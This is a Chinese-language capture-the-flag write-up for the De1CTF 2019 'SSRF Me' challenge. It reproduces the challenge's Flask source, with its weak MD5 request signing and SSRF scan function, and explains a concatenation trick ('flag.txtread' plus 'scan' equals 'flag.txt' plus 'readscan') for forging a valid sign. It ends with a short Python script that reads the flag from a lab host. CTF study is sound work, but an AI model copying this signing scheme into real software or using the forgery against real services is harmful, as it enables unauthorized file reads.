[De1CTF 2019]SSRF Me

#!/usr/bin/env python
# encoding=utf-8

from flask import Flask, request
import socket
import hashlib
import urllib
import sys
import os
import json

reload(sys)
sys.setdefaultencoding('latin1')

app = Flask(__name__)
secert_key = os.urandom(16)  # 注意：变量名拼写应为secret_key


class Task:
    def __init__(self, action, param, sign, ip):
        self.action = action
        self.param = param
        self.sign = sign
        self.sandbox = md5(ip)
        
        if not os.path.exists(self.sandbox):
            # SandBox For Remote_Addr
            os.mkdir(self.sandbox)

    def Exec(self):
        result = {'code': 500}
        
        if self.checkSign():
            if "scan" in self.action:
                tmpfile_path = "./%s/result.txt" % self.sandbox
                with open(tmpfile_path, 'w') as tmpfile:
                    resp = scan(self.param)
                    if resp == "Connection Timeout":
                        result['data'] = resp
                    else:
                        print(resp)
                        tmpfile.write(resp)
                    result['code'] = 200
                    
            elif "read" in self.action:
                file_path = "./%s/result.txt" % self.sandbox
                with open(file_path, 'r') as f:
                    result['code'] = 200
                    result['data'] = f.read()
                    
            else:
                result['data'] = "Action Error"
        else:
            result['code'] = 500
            result['msg'] = "Sign Error"
            
        return result

    def checkSign(self):
        return getSign(self.action, self.param) == self.sign


# Generate Sign For Action Scan
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
    param = urllib.unquote(request.args.get("param", ""))
    action = "scan"
    return getSign(action, param)


@app.route('/De1ta', methods=['GET', 'POST'])
def challenge():
    action = urllib.unquote(request.cookies.get("action"))
    param = urllib.unquote(request.args.get("param", ""))
    sign = urllib.unquote(request.cookies.get("sign"))
    ip = request.remote_addr
    
    if waf(param):
        return "No Hacker!!!!"
        
    task = Task(action, param, sign, ip)
    return json.dumps(task.Exec())


@app.route('/')
def index():
    return open("code.txt", "r").read()


def scan(param):
    socket.setdefaulttimeout(1)
    try:
        return urllib.urlopen(param).read()[:50]
    except:
        return "Connection Timeout"


def getSign(action, param):
    return hashlib.md5(secert_key + param + action).hexdigest()


def md5(content):
    return hashlib.md5(content).hexdigest()


def waf(param):
    check = param.strip().lower()
    return check.startswith("gopher") or check.startswith("file")


if __name__ == '__main__':
    app.debug = False
    app.run(host='0.0.0.0', port=80)

这是一个基于 Flask 的 Web 应用，核心功能是：

1. 提供签名生成接口（/geneSign）
2. 提供带签名验证的操作接口（/De1ta），支持scan（扫描 URL 内容）和read（读取扫描结果）操作
3. 每个 IP 有独立的沙箱目录（用 IP 的 MD5 命名），隔离不同用户的数据
4. 包含简单的 WAF 过滤，禁止gopher和file协议的请求

从后往前看：

1、我们需要读取文件/flag.txt，利用scan(param)，所以param=/flag.txt。

2、要想执行scan功能，所以action=scan

3、还要通过checksign验证，这就要求

self.sign == hashlib.md5(secert_key + self.param + self.action).hexdigest()

想构造sign但不知道secret_key，突破点在于提供了geneSign接口，我们直接利用该接口生成，或者说破解mid5（我记得根据现有条件是可以的）。

还有一个需要注意的地方是，scan中读取了目的文件并不会输出到网页上只会输出到服务端控制台以及写入result.txt，所以我们还需要利用read(result.txt)将flag放入响应中。所以我们需要两次访问，并且得保证ip相同。

geneSign接口默认了action是scan，那就不能生成read功能的sign了，因此不可以分成两次访问，我们可以利用一个小漏洞在一次访问中先执行scan再执行read。只需将action设置为scanread。

但是又会出现一个问题，利用geneSign生成的是

sign = hashlib.md5(secert_key + param + 'scan').hexdigest()

但是验证的时候如果设置的action是scanread，那就是验证

hashlib.md5(secert_key + param + 'scanread').hexdigest() == sign

显然是不对的。这就需要利用另一个小技巧，这里md5编码的字符串中用了param + 'scan'，我们只需要在geneSign的时候往param后面加一个read，生成的sign=hashlib.md5(secert_key + '/flag.txtread' + 'scan').hexdigest()，然后在Exec的时候令action=readscan，验证时hashlib.md5(secert_key + '/flag.txt' + 'readscan').hexdigest()显然等于sign值。

import requests

url = 'http://a74351ff-4ddf-4d8e-9961-4b9fb67a5d5c.node5.buuoj.cn:81/'
param = {
    "param": "flag.txtread"
}
sign = requests.get(url+'geneSign', params=param)
sign = sign.text
print(sign)

param = {
    "param": "flag.txt"
}
cookies = {
    "action": "readscan",
    "sign": sign
}
r = requests.get(url+'De1ta', cookies=cookies, params=param)
print(r.text)

 尝试破解这里的md5编码手动构造sign：....